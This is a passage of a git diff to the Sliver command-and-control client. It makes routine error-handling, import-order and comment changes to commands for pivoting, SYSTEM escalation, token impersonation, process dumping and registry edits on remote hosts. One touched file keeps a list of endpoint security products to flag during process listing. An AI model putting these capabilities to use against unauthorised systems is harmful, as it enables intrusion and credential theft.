con.UnwrapServerErr(err)) return } if netstat.Response != nil && netstat.Response.Async { diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index 0070221c49..3d6868297a 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -39,7 +39,7 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pivotListeners.Response != nil && pivotListeners.Response.Err != "" { diff --git a/client/command/pivots/graph.go b/client/command/pivots/graph.go index 8872cd631a..4431694079 100644 --- a/client/command/pivots/graph.go +++ b/client/command/pivots/graph.go @@ -32,7 +32,7 @@ import ( func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index 8288a43680..dad68bf2b3 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -78,7 +78,7 @@ func PivotIDCompleter(con *console.SliverClient) carapace.Action { Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get remote pivots: %s", err.Error()) + return carapace.ActionMessage("failed to get remote pivots: %s", con.UnwrapServerErr(err)) } for _, listener := range pivotListeners.Listeners { diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index 60de8dec39..954d8cc5a7 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -38,7 +38,7 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pivotListeners.Response != nil && pivotListeners.Response.Err != "" { diff --git a/client/command/pivots/start.go b/client/command/pivots/start.go index 67e00e9041..1b92e497fb 100644 --- a/client/command/pivots/start.go +++ b/client/command/pivots/start.go @@ -41,7 +41,7 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []s Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if listener.Response != nil && listener.Response.Err != "" { @@ -69,7 +69,7 @@ func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverClient, ar Options: options, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if listener.Response != nil && listener.Response.Err != "" { diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 9f8d0cd419..93c76ec1d7 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -39,7 +39,7 @@ func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args [] Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(pivotListeners.Listeners) == 0 { @@ -58,7 +58,7 @@ func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args [] Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Stopped pivot listener\n") diff --git a/client/command/prelude-operator/commands.go b/client/command/prelude-operator/commands.go index f152788fdf..2fc82eb546 100644 --- a/client/command/prelude-operator/commands.go +++ b/client/command/prelude-operator/commands.go @@ -1,14 +1,13 @@ package operator import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/prelude-operator/connect.go b/client/command/prelude-operator/connect.go index be07ff9aba..a75d844db7 100644 --- a/client/command/prelude-operator/connect.go +++ b/client/command/prelude-operator/connect.go @@ -21,12 +21,11 @@ package operator import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/prelude" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { @@ -48,7 +47,7 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if !skipExisting { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Could not get session list: %s", err) + con.PrintErrorf("Could not get session list: %s", con.UnwrapServerErr(err)) return } if len(sessions.Sessions) > 0 { @@ -65,7 +64,7 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Could not get beacon list: %s", err) + con.PrintErrorf("Could not get beacon list: %s", con.UnwrapServerErr(err)) return } if len(beacons.Beacons) > 0 { diff --git a/client/command/prelude-operator/operator.go b/client/command/prelude-operator/operator.go index f36a692150..fbd8a7305c 100644 --- a/client/command/prelude-operator/operator.go +++ b/client/command/prelude-operator/operator.go @@ -19,10 +19,9 @@ package operator */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/prelude" + "github.com/spf13/cobra" ) func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/privilege/commands.go b/client/command/privilege/commands.go index 32095e4a7d..5a2e2cf8cb 100644 --- a/client/command/privilege/commands.go +++ b/client/command/privilege/commands.go @@ -1,15 +1,14 @@ package privilege import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/filesystem" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 6dcc14307e..4b6c40efac 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -23,15 +23,14 @@ import ( "strconv" "strings" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// GetPrivsCmd - Get the current process privileges (Windows only) +// GetPrivsCmd - Get the current process privileges (Windows only). func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -47,7 +46,7 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } pid := getPID(session, beacon) @@ -66,7 +65,7 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintGetPrivs - Print the results of the get privs command +// PrintGetPrivs - Print the results of the get privs command. func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClient) { // Response is the Envelope (see RPC API), Err is part of it. if privs.Response != nil && privs.Response.Err != "" { diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index 20b862760b..e921dc5d06 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -21,16 +21,14 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system +// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system. func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -55,7 +53,7 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -74,7 +72,7 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintGetSystem - Print the results of get system +// PrintGetSystem - Print the results of get system. func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverClient) { if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" { con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr()) diff --git a/client/command/privilege/impersonate.go b/client/command/privilege/impersonate.go index 95d764e81f..2e3d7fbf2d 100644 --- a/client/command/privilege/impersonate.go +++ b/client/command/privilege/impersonate.go @@ -21,16 +21,14 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ImpersonateCmd - Windows only, impersonate a user token +// ImpersonateCmd - Windows only, impersonate a user token. func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -43,7 +41,7 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string Username: username, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } @@ -62,7 +60,7 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string } } -// PrintImpersonate - Print the results of the attempted impersonation +// PrintImpersonate - Print the results of the attempted impersonation. func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverClient) { if impersonate.Response != nil && impersonate.Response.GetErr() != "" { con.PrintErrorf("%s\n", impersonate.Response.GetErr()) diff --git a/client/command/privilege/make-token.go b/client/command/privilege/make-token.go index f3b02aad01..18dc287307 100644 --- a/client/command/privilege/make-token.go +++ b/client/command/privilege/make-token.go @@ -21,13 +21,11 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) var logonTypes = map[string]uint32{ @@ -40,7 +38,7 @@ var logonTypes = map[string]uint32{ "LOGON_NEW_CREDENTIALS": 9, } -// MakeTokenCmd - Windows only, create a token using "valid" credentails +// MakeTokenCmd - Windows only, create a token using "valid" credentials. func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -75,7 +73,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -94,7 +92,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintMakeToken - Print the results of attempting to make a token +// PrintMakeToken - Print the results of attempting to make a token. func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverClient) { if makeToken.Response != nil && makeToken.Response.GetErr() != "" { con.PrintErrorf("%s\n", makeToken.Response.GetErr()) diff --git a/client/command/privilege/rev2self.go b/client/command/privilege/rev2self.go index 069b8b329a..f214010ca1 100644 --- a/client/command/privilege/rev2self.go +++ b/client/command/privilege/rev2self.go @@ -21,16 +21,14 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RevToSelfCmd - Drop any impersonated tokens +// RevToSelfCmd - Drop any impersonated tokens. func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -41,7 +39,7 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -60,7 +58,7 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintRev2Self - Print the result of revert to self +// PrintRev2Self - Print the result of revert to self. func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverClient) { if revert.Response != nil && revert.Response.GetErr() != "" { con.PrintErrorf("%s\n", revert.Response.GetErr()) diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index ade8aa8768..a07f3cfebc 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -21,16 +21,14 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RunAsCmd - Run a command as another user on the remote system +// RunAsCmd - Run a command as another user on the remote system. func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -66,7 +64,7 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { NetOnly: netonly, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } @@ -86,7 +84,7 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintRunAs - Print the result of run as +// PrintRunAs - Print the result of run as. func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverClient) { if runAs.Response != nil && runAs.Response.GetErr() != "" { con.PrintErrorf("%s\n", runAs.Response.GetErr()) diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go index b473d89648..7d05ba780a 100644 --- a/client/command/processes/commands.go +++ b/client/command/processes/commands.go @@ -1,14 +1,13 @@ package processes import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/processes/procdump.go b/client/command/processes/procdump.go index bd3f59d75e..d39b2d3103 100644 --- a/client/command/processes/procdump.go +++ b/client/command/processes/procdump.go @@ -26,16 +26,15 @@ import ( "path/filepath" "time" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ProcdumpCmd - Dump the memory of a remote process +// ProcdumpCmd - Dump the memory of a remote process. func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -74,7 +73,7 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -106,7 +105,7 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintProcessDump - Handle the results of a process dump +// PrintProcessDump - Handle the results of a process dump. func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverClient) { var err error var saveToFile *os.File diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index dbea16aa30..76cad08198 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -24,19 +24,18 @@ import ( "sort" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" ) -// Stylizes known processes in the `ps` command +// Stylizes known processes in the `ps` command. var knownSecurityTools = map[string][]string{ // Process Name -> [Color, Stylized Name] "ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP) @@ -88,7 +87,7 @@ var knownSecurityTools = map[string][]string{ "efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security } -// PsCmd - List processes on the remote system +// PsCmd - List processes on the remote system. func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -98,7 +97,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } os := getOS(session, beacon) @@ -136,7 +135,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { return "" } -// PrintPS - Prints the process list +// PrintPS - Prints the process list. func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) { pidFilter, _ := flags.GetInt("pid") exeFilter, _ := flags.GetString("exe") @@ -211,7 +210,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string { return products } -// procRow - Stylizes the process information +// procRow - Stylizes the process information. func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row { session, beacon := con.ActiveTarget.GetInteractive() @@ -286,7 +285,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console return row } -// GetPIDByName - Get a PID by name from the active session +// GetPIDByName - Get a PID by name from the active session. func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverClient) int { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), @@ -302,7 +301,7 @@ func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverClient) in return -1 } -// SortProcessesByPID - Sorts a list of processes by PID +// SortProcessesByPID - Sorts a list of processes by PID. func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process { sort.Slice(ps, func(i, j int) bool { return ps[i].Pid < ps[j].Pid diff --git a/client/command/processes/pstree.go b/client/command/processes/pstree.go index 044f65436b..c8bb398ea9 100644 --- a/client/command/processes/pstree.go +++ b/client/command/processes/pstree.go @@ -4,13 +4,12 @@ import ( "fmt" "sort" - "github.com/xlab/treeprint" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/xlab/treeprint" ) -// A PsTree is a tree of *commonpb.Process +// A PsTree is a tree of *commonpb.Process. type PsTree struct { printableTree treeprint.Tree // only used for rendering implantPID int32 @@ -23,7 +22,7 @@ type node struct { Parent *node // The parent of this node } -// NewPsTree creates a new PsTree +// NewPsTree creates a new PsTree. func NewPsTree(pid int32) *PsTree { return &PsTree{ printableTree: treeprint.New(), diff --git a/client/command/processes/terminate.go b/client/command/processes/terminate.go index f7b91d9983..293beb722f 100644 --- a/client/command/processes/terminate.go +++ b/client/command/processes/terminate.go @@ -22,15 +22,14 @@ import ( "context" "strconv" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// TerminateCmd - Terminate a process on the remote system +// TerminateCmd - Terminate a process on the remote system. func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -52,7 +51,7 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Force: force, }) if err != nil { - con.PrintErrorf("Terminate failed: %s", err) + con.PrintErrorf("Terminate failed: %s", con.UnwrapServerErr(err)) return } @@ -71,7 +70,7 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintTerminate - Print the results of the terminate command +// PrintTerminate - Print the results of the terminate command. func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverClient) { if terminated.Response != nil && terminated.Response.GetErr() != "" { con.PrintErrorf("%s\n", terminated.Response.GetErr()) diff --git a/client/command/reconfig/reconfig.go b/client/command/reconfig/reconfig.go index f0b5343aef..98d5775ee5 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/reconfig/reconfig.go @@ -80,7 +80,7 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } if reconfig.Response != nil && reconfig.Response.Async { diff --git a/client/command/reconfig/rename.go b/client/command/reconfig/rename.go index ba4cb518a9..74f7d2ad8e 100644 --- a/client/command/reconfig/rename.go +++ b/client/command/reconfig/rename.go @@ -54,7 +54,7 @@ func RenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Name: name, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go index fec21cf040..d93f3b32d1 100644 --- a/client/command/registry/commands.go +++ b/client/command/registry/commands.go @@ -1,14 +1,13 @@ package registry import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index 1791e8c018..bef2cdea17 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -22,16 +22,14 @@ import ( "context" "strings" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RegCreateKeyCmd - Create a new Windows registry key +// RegCreateKeyCmd - Create a new Windows registry key. func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -78,7 +76,7 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -97,7 +95,7 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// PrintCreateKey - Print the results of the create key command +// PrintCreateKey - Print the results of the create key command. func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverClient) { if createKey.Response != nil && createKey.Response.Err != "" { con.PrintErrorf("%s", createKey.Response.Err) diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index 80f80c484c..b4443664ec 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -22,16 +22,14 @@ import ( "context" "strings" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RegDeleteKeyCmd - Remove a Windows registry key +// RegDeleteKeyCmd - Remove a Windows registry key. func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -78,7 +76,7 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -97,7 +95,7 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// PrintDeleteKey - Print the results of the delete key command +// PrintDeleteKey - Print the results of the delete key command. func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverClient) { if deleteKey.Response != nil && deleteKey.Response.Err != "" { con.PrintErrorf("%s", deleteKey.Response.Err) diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index 3bafb2a571..657086c7ca 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -21,16 +21,14 @@ package registry import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RegListSubKeysCmd - List sub registry keys +// RegListSubKeysCmd - List sub registry keys. func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -53,7 +51,7 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []str Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -72,7 +70,7 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []str } } -// PrintListSubKeys - Print the list sub keys command result +// PrintListSubKeys - Print the list sub keys command result. func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) @@ -86,7 +84,7 @@ func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath } } -// RegListValuesCmd - List registry values +// RegListValuesCmd - List registry values. func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -104,7 +102,7 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -123,7 +121,7 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } } -// PrintListValues - Print the registry list values +// PrintListValues - Print the registry list values. func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index 3109b32e8c..6c5efeda30 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -23,13 +23,11 @@ import ( "fmt" "strings" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) var validHives = []string{ @@ -74,7 +72,7 @@ func getType(t string) (uint32, error) { return res, nil } -// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version" +// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version". func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( finalPath string @@ -126,7 +124,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -145,7 +143,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args 